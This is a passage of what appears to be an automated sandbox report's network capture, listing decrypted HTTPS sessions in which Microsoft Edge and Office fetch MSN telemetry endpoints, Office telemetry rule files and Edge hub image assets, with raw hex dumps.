f3 60 29 Data Ascii: PNGIHDR((mpHYs%%IR$sRGBgAMAaIDATxXO\EzffBf"TOcI7%bDP! {OnO zuW7fwf6y{UuuN [-c49lJT9/B"TcmtW*wGG`)

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
122	192.168.2.7	49883	20.125.209.212	443	7948	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-13 13:41:33 UTC	1175	OUT	GET /c.gif?rnd=1731511548692&udc=true&pg.n=default&pg.t=dhp&pg.c=547&pg.p=anaheim&rf=&tp=https%3A%2F%2Fntp.msn.com%2Fedge%2Fntp%3Flocale%3Den-GB%26title%3DNew%2520tab%26dsp%3D1%26sp%3DBing%26isFREModalBackground%3D1%26startpage%3D1%26PC%3DU531%26ocid%3Dmsedgdhp&cvs=Browser&di=340&st.dpt=&st.sdpt=antp&subcvs=homepage&lng=en-us&rid=be3c4083b4ed4fbea41c70caa22e4593&activityId=be3c4083b4ed4fbea41c70caa22e4593&d.imd=false&scr=1280x1024&anoncknm=app_anon&issso=&aadState=0 HTTP/1.1 Host: c.msn.com Connection: keep-alive sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 sec-ch-ua-platform: "Windows" Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8 Cookie: _C_ETH=1; USRLOC=; MUID=2B7552435FBF62BD3EE147755E31634B; _EDGE_S=F=1&SID=3321F4432267682D31E1E175235D69DF; _EDGE_V=1
2024-11-13 13:41:33 UTC	1108	IN	HTTP/1.1 302 Redirect Cache-Control: private, no-cache, proxy-revalidate, no-store Pragma: no-cache Location: https://c.bing.com/c.gif?rnd=1731511548692&udc=true&pg.n=default&pg.t=dhp&pg.c=547&pg.p=anaheim&rf=&tp=https%3A%2F%2Fntp.msn.com%2Fedge%2Fntp%3Flocale%3Den-GB%26title%3DNew%2520tab%26dsp%3D1%26sp%3DBing%26isFREModalBackground%3D1%26startpage%3D1%26PC%3DU531%26ocid%3Dmsedgdhp&cvs=Browser&di=340&st.dpt=&st.sdpt=antp&subcvs=homepage&lng=en-us&rid=be3c4083b4ed4fbea41c70caa22e4593&activityId=be3c4083b4ed4fbea41c70caa22e4593&d.imd=false&scr=1280x1024&anoncknm=app_anon&issso=&aadState=0&ctsa=mr&CtsSyncId=1DE24314577C4C24ACA0B89F4370084C&RedC=c.msn.com&MXFR=2B7552435FBF62BD3EE147755E31634B Server: Microsoft-IIS/10.0 X-Powered-By: ASP.NET P3P: CP="BUS CUR CONo FIN IVDo ONL OUR PHY SAMo TELo" Set-Cookie: SM=T; domain=c.msn.com; path=/; SameSite=None; Secure; Set-Cookie: MUID=2B7552435FBF62BD3EE147755E31634B; domain=.msn.com; expires=Mon, 08-Dec-2025 13:41:33 GMT; path=/; SameSite=None; Secure; Priority=High; Date: Wed, 13 Nov 2024 13:41:32 GMT Connection: close Content-Length: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
123	192.168.2.7	49889	13.107.246.44	443

Timestamp	Bytes transferred	Direction	Data
2024-11-13 13:41:33 UTC	192	OUT	GET /rules/rule700350v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-13 13:41:33 UTC	517	IN	HTTP/1.1 200 OK Date: Wed, 13 Nov 2024 13:41:33 GMT Content-Type: text/xml Content-Length: 1360 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:40 GMT ETag: "0x8DC582BDD74D2EC" x-ms-request-id: 8fcaa1bb-301e-006e-11d2-2cf018000000 x-ms-version: 2018-03-28 x-azure-ref: 20241113T134133Z-16547b76f7fp6mhthC1DFWrggn0000000h9000000000cnup x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-13 13:41:33 UTC	1360	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 33 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 79 73 74 65 6d 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700350" V="1" DC="SM" EN="Office.Telemetry.Event.Office.System" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenSystem" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
124	192.168.2.7	49890	13.107.246.44	443

Timestamp	Bytes transferred	Direction	Data
2024-11-13 13:41:33 UTC	192	OUT	GET /rules/rule703901v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-13 13:41:33 UTC	494	IN	HTTP/1.1 200 OK Date: Wed, 13 Nov 2024 13:41:33 GMT Content-Type: text/xml Content-Length: 1427 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:53 GMT ETag: "0x8DC582BE56F6873" x-ms-request-id: 384ed142-801e-0047-1f8c-327265000000 x-ms-version: 2018-03-28 x-azure-ref: 20241113T134133Z-16547b76f7fr28cchC1DFWnuws0000000hb00000000083xt x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-13 13:41:33 UTC	1427	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 39 30 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 65 72 76 69 63 65 61 62 69 6c 69 74 79 4d 61 6e 61 67 65 72 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703901" V="0" DC="SM" EN="Office.Telemetry.Event.Office.ServiceabilityManager.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="Nexu

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
125	192.168.2.7	49886	23.96.180.189	443	7948	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-13 13:41:33 UTC	1068	OUT	GET /v4/api/selection?nct=1&fmt=json&nocookie=0&locale=en-us&country=US&muid=2B7552435FBF62BD3EE147755E31634B&ACHANNEL=4&ABUILD=117.0.5938.132&clr=esdk&edgeid=-2063246587742936609&ADEFAB=1&devosver=10.0.19045.2006&OPSYS=WIN10&poptin=0&UITHEME=light&pageConfig=547&ISSIGNEDIN=0&MSN_CANVAS=2&ISMOBILE=0&BROWSER=6&placement=88000308\|10837393&bcnt=1\|1&asid=3f9617ba085249c9c73a3850e7f67b4f HTTP/1.1 Host: arc.msn.com Connection: keep-alive sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 sec-ch-ua-platform: "Windows" Accept: / Origin: https://ntp.msn.com Sec-Fetch-Site: same-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8 Cookie: _C_ETH=1; USRLOC=; MUID=2B7552435FBF62BD3EE147755E31634B; _EDGE_S=F=1&SID=3321F4432267682D31E1E175235D69DF; _EDGE_V=1
2024-11-13 13:41:33 UTC	674	IN	HTTP/1.1 200 OK Cache-Control: no-store, no-cache Pragma: no-cache Content-Length: 297 Content-Type: application/json; charset=utf-8 Expires: Mon, 01 Jan 0001 00:00:00 GMT Server: Microsoft-IIS/10.0 ARC-RSP-DBG: [{"DcoPlusDebug":"Status: Ok"},{"RADIDS":"2,,"},{"OPTOUTSTATE":"256"},{"REGIONALPOLICY":"0"}] Accept-CH: UA, UA-Arch, UA-Full-Version, UA-Mobile, UA-Model, UA-Platform, UA-Platform-Version Access-Control-Allow-Origin: https://ntp.msn.com Access-Control-Allow-Credentials: true X-AspNet-Version: 4.0.30319 X-Powered-By: ASP.NET Strict-Transport-Security: max-age=31536000; includeSubDomains Date: Wed, 13 Nov 2024 13:41:32 GMT Connection: close
2024-11-13 13:41:33 UTC	297	IN	Data Raw: 7b 22 62 61 74 63 68 72 73 70 22 3a 7b 22 76 65 72 22 3a 22 31 2e 30 22 2c 22 65 72 72 6f 72 73 22 3a 5b 7b 22 70 6c 61 63 65 6d 65 6e 74 22 3a 22 38 38 30 30 30 33 30 38 22 2c 22 65 72 72 6f 72 73 22 3a 5b 7b 22 63 6f 64 65 22 3a 32 30 34 30 2c 22 6d 73 67 22 3a 22 44 65 6d 61 6e 64 20 73 6f 75 72 63 65 20 72 65 74 75 72 6e 73 20 65 72 72 6f 72 20 28 4e 61 6d 65 3a 20 47 4e 5f 70 73 2c 20 45 72 72 6f 72 3a 20 4e 6f 20 65 6c 69 67 69 62 6c 65 20 63 6f 6e 74 65 6e 74 2e 29 2e 22 7d 5d 7d 2c 7b 22 70 6c 61 63 65 6d 65 6e 74 22 3a 22 31 30 38 33 37 33 39 33 22 2c 22 65 72 72 6f 72 73 22 3a 5b 7b 22 63 6f 64 65 22 3a 32 30 34 30 2c 22 6d 73 67 22 3a 22 44 65 6d 61 6e 64 20 73 6f 75 72 63 65 20 72 65 74 75 72 6e 73 20 65 72 72 6f 72 20 28 4e 61 6d 65 3a 20 47 Data Ascii: {"batchrsp":{"ver":"1.0","errors":[{"placement":"88000308","errors":[{"code":2040,"msg":"Demand source returns error (Name: GN_ps, Error: No eligible content.)."}]},{"placement":"10837393","errors":[{"code":2040,"msg":"Demand source returns error (Name: G

Session ID	Source IP	Source Port	Destination IP	Destination Port
126	192.168.2.7	49888	13.107.246.44	443

Timestamp	Bytes transferred	Direction	Data
2024-11-13 13:41:33 UTC	192	OUT	GET /rules/rule700351v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-13 13:41:33 UTC	517	IN	HTTP/1.1 200 OK Date: Wed, 13 Nov 2024 13:41:33 GMT Content-Type: text/xml Content-Length: 1397 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:44 GMT ETag: "0x8DC582BDFD43C07" x-ms-request-id: ad01162d-901e-0064-5fc3-2ce8a6000000 x-ms-version: 2018-03-28 x-azure-ref: 20241113T134133Z-16547b76f7fmbrhqhC1DFWkds80000000h5g00000000fxp5 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-13 13:41:33 UTC	1397	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 33 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 79 73 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700351" V="1" DC="SM" EN="Office.Telemetry.Event.Office.System.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenSys

Session ID	Source IP	Source Port	Destination IP	Destination Port
127	192.168.2.7	49891	13.107.246.44	443

Timestamp	Bytes transferred	Direction	Data
2024-11-13 13:41:33 UTC	192	OUT	GET /rules/rule703900v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-13 13:41:33 UTC	494	IN	HTTP/1.1 200 OK Date: Wed, 13 Nov 2024 13:41:33 GMT Content-Type: text/xml Content-Length: 1390 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:49 GMT ETag: "0x8DC582BE3002601" x-ms-request-id: f81db1ec-b01e-00ab-60a2-34dafd000000 x-ms-version: 2018-03-28 x-azure-ref: 20241113T134133Z-1749fc9bdbdht5mthC1DFWph900000000180000000003u79 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-13 13:41:33 UTC	1390	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 39 30 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 65 72 76 69 63 65 61 62 69 6c 69 74 79 4d 61 6e 61 67 65 72 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 65 72 76 69 63 65 61 62 69 6c 69 74 79 4d 61 6e 61 67 65 72 22 20 53 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703900" V="0" DC="SM" EN="Office.Telemetry.Event.Office.ServiceabilityManager" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenServiceabilityManager" S=

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
128	192.168.2.7	49892	13.107.246.57	443	7948	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-13 13:41:33 UTC	431	OUT	GET /assets/edge_hub_apps_search_maximal_light.png/1.3.6/asset HTTP/1.1 Host: edgeassetservice.azureedge.net Connection: keep-alive Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-13 13:41:33 UTC	536	IN	HTTP/1.1 200 OK Date: Wed, 13 Nov 2024 13:41:33 GMT Content-Type: image/png Content-Length: 1966 Connection: close Last-Modified: Fri, 03 Nov 2023 21:43:31 GMT ETag: 0x8DBDCB5EC122A94 x-ms-request-id: 848dde1d-101e-005a-5fa3-2c6e86000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob x-azure-ref: 20241113T134133Z-16547b76f7fcjqqhhC1DFWrrrc0000000h9000000000234d Cache-Control: public, max-age=604800 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-13 13:41:33 UTC	1966	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 28 00 00 00 28 08 06 00 00 00 8c fe b8 6d 00 00 00 09 70 48 59 73 00 00 16 25 00 00 16 25 01 49 52 24 f0 00 00 00 01 73 52 47 42 00 ae ce 1c e9 00 00 00 04 67 41 4d 41 00 00 b1 8f 0b fc 61 05 00 00 07 43 49 44 41 54 78 01 ed 97 5b 68 5c 75 1e c7 7f ff 73 f9 9f 49 d2 49 4f da 98 b4 6a d7 d9 c5 16 bc b0 4e c1 bd c8 6e d8 99 07 1f 74 1f 9a e0 2a 15 77 d7 06 0b 82 0f d5 3c 54 10 1f 3a 41 d0 2a 8a 2d 55 29 68 4d 14 1f 6a d3 92 3c 28 58 45 92 fa d0 0a 82 8e 48 14 6a 6b 53 d0 b4 21 4d e7 cc 64 6e 67 ce cd ef ef 64 4e 48 ed c5 74 d2 e8 4b 7f c3 9f ff b9 cd 39 9f f3 fd ff 6e 87 e8 ba 2d cd c4 62 2f 1c 1a 1a 4a 29 8a b2 c9 f3 bc 44 10 04 3c c8 71 1c 0b fb 59 8c af 71 6e a4 b7 b7 d7 a2 6b 6c bf 0a 38 3c 3c fc Data Ascii: PNGIHDR((mpHYs%%IR$sRGBgAMAaCIDATx[h\usIIOjNntw<T:A-U)hMj<(XEHjkS!MdngdNHtK9n-b/J)D<qYqnkl8<<

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
129	192.168.2.7	49896	13.107.246.57	443	7948	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-13 13:41:33 UTC	433	OUT	GET /assets/edge_hub_apps_shopping_maximal_light.png/1.4.0/asset HTTP/1.1 Host: edgeassetservice.azureedge.net Connection: keep-alive Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-13 13:41:33 UTC	536	IN	HTTP/1.1 200 OK Date: Wed, 13 Nov 2024 13:41:33 GMT Content-Type: image/png Content-Length: 1751 Connection: close Last-Modified: Tue, 17 Oct 2023 00:34:33 GMT ETag: 0x8DBCEA8D5AACC85 x-ms-request-id: 0d52236e-d01e-0008-0da9-357374000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob x-azure-ref: 20241113T134133Z-1749fc9bdbdns7kfhC1DFWb6c400000001800000000046wd Cache-Control: public, max-age=604800 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-13 13:41:33 UTC	1751	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 28 00 00 00 28 08 06 00 00 00 8c fe b8 6d 00 00 00 09 70 48 59 73 00 00 16 25 00 00 16 25 01 49 52 24 f0 00 00 00 01 73 52 47 42 00 ae ce 1c e9 00 00 00 04 67 41 4d 41 00 00 b1 8f 0b fc 61 05 00 00 06 6c 49 44 41 54 78 01 ed 98 4d 6c 54 55 14 c7 cf 9d ce b4 52 09 42 85 b8 40 ed f3 23 44 37 0a b8 32 71 01 71 a1 89 1b dc 08 3b ab 0b 64 87 b8 30 84 10 3a c3 c2 a5 1a 57 b8 52 16 26 6e 8c 10 3f 91 c5 a0 a2 21 0d d1 c6 18 63 34 9a 91 b8 c0 40 6c a1 ed cc 7b ef 7e 1c ff e7 de fb e6 4d 3f a0 1f d4 e8 a2 17 5e de eb ed 9b f7 7e f7 7f ce f9 9f 3b 25 5a 1b 6b e3 bf 1d 8a 56 71 d4 cf f2 2e 36 34 ca 44 bb d8 11 15 07 71 cf 19 ff 71 ad 08 3f 3b 4b 13 4e bb 3f 74 27 1f cf 3a d4 38 71 68 5d eb 5f 03 3c 76 86 9f c7 Data Ascii: PNGIHDR((mpHYs%%IR$sRGBgAMAalIDATxMlTURB@#D72qq;d0:WR&n?!c4@l{~M?^~;%ZkVq.64Dqq?;KN?t':8qh]_<v

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
130	192.168.2.7	49884	51.132.193.105	443	7948	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-13 13:41:33 UTC	1082	OUT	POST /OneCollector/1.0?cors=true&content-type=application/x-json-stream&client-id=NO_AUTH&client-version=1DS-Web-JS-3.2.8&apikey=0ded60c75e44443aa3484c42c1c43fe8-9fc57d3f-fdac-4bcf-b927-75eafe60192e-7279&upload-time=1731511548691&time-delta-to-apply-millis=use-collector-delta&w=0&anoncknm=app_anon&NoResponseBody=true HTTP/1.1 Host: browser.events.data.msn.com Connection: keep-alive Content-Length: 3763 sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-platform: "Windows" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Content-Type: text/plain;charset=UTF-8 Accept: / Origin: https://ntp.msn.com Sec-Fetch-Site: same-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8 Cookie: _C_ETH=1; USRLOC=; MUID=2B7552435FBF62BD3EE147755E31634B; _EDGE_S=F=1&SID=3321F4432267682D31E1E175235D69DF; _EDGE_V=1
2024-11-13 13:41:33 UTC	3763	OUT	Data Raw: 7b 22 6e 61 6d 65 22 3a 22 4d 53 2e 4e 65 77 73 2e 57 65 62 2e 50 61 67 65 56 69 65 77 22 2c 22 74 69 6d 65 22 3a 22 32 30 32 34 2d 31 31 2d 31 33 54 31 35 3a 32 35 3a 34 38 2e 36 38 35 5a 22 2c 22 76 65 72 22 3a 22 34 2e 30 22 2c 22 69 4b 65 79 22 3a 22 6f 3a 30 64 65 64 36 30 63 37 35 65 34 34 34 34 33 61 61 33 34 38 34 63 34 32 63 31 63 34 33 66 65 38 22 2c 22 65 78 74 22 3a 7b 22 73 64 6b 22 3a 7b 22 76 65 72 22 3a 22 31 44 53 2d 57 65 62 2d 4a 53 2d 33 2e 32 2e 38 22 2c 22 73 65 71 22 3a 31 2c 22 69 6e 73 74 61 6c 6c 49 64 22 3a 22 30 31 36 61 30 33 62 31 2d 36 33 36 31 2d 34 37 65 32 2d 38 61 63 61 2d 64 30 31 35 63 39 66 63 30 31 64 61 22 2c 22 65 70 6f 63 68 22 3a 22 35 37 36 34 35 34 31 34 30 22 7d 2c 22 61 70 70 22 3a 7b 22 6c 6f 63 61 6c 65 22 Data Ascii: {"name":"MS.News.Web.PageView","time":"2024-11-13T15:25:48.685Z","ver":"4.0","iKey":"o:0ded60c75e44443aa3484c42c1c43fe8","ext":{"sdk":{"ver":"1DS-Web-JS-3.2.8","seq":1,"installId":"016a03b1-6361-47e2-8aca-d015c9fc01da","epoch":"576454140"},"app":{"locale"
2024-11-13 13:41:33 UTC	894	IN	HTTP/1.1 204 No Content Content-Length: 0 Server: Microsoft-HTTPAPI/2.0 Strict-Transport-Security: max-age=31536000 P3P: CP="ALL IND DSP COR ADM CONo CUR CUSo IVAo IVDo PSA PSD TAI TELo OUR SAMo CNT COM INT NAV ONL PHY PRE PUR UNI" Set-Cookie: MC1=GUID=2aa2f98f0d7040da97325a958c7fa4f8&HASH=2aa2&LV=202411&V=4&LU=1731505293436; Domain=.microsoft.com; Expires=Thu, 13 Nov 2025 13:41:33 GMT; Path=/;Secure; SameSite=None Set-Cookie: MS0=d065a2d3f5024724aab81cde0392cb53; Domain=.microsoft.com; Expires=Wed, 13 Nov 2024 14:11:33 GMT; Path=/;Secure; SameSite=None time-delta-millis: -6255255 Access-Control-Allow-Headers: P3P,Set-Cookie,time-delta-millis Access-Control-Allow-Methods: POST Access-Control-Allow-Credentials: true Access-Control-Allow-Origin: https://ntp.msn.com Access-Control-Expose-Headers: time-delta-millis Date: Wed, 13 Nov 2024 13:41:33 GMT Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
131	192.168.2.7	49893	13.107.246.57	443	7948	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-13 13:41:33 UTC	433	OUT	GET /assets/edge_hub_apps_toolbox_maximal_light.png/1.5.13/asset HTTP/1.1 Host: edgeassetservice.azureedge.net Connection: keep-alive Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-13 13:41:33 UTC	516	IN	HTTP/1.1 200 OK Date: Wed, 13 Nov 2024 13:41:33 GMT Content-Type: image/png Content-Length: 1427 Connection: close Last-Modified: Fri, 03 Nov 2023 21:43:36 GMT ETag: 0x8DBDCB5EF021F8E x-ms-request-id: e85c933a-d01e-0065-34d1-35d95a000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob x-azure-ref: 20241113T134133Z-r178fb8d765jv86hhC1DFW8pt0000000010000000000fhc9 Cache-Control: public, max-age=604800 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_MISS Accept-Ranges: bytes
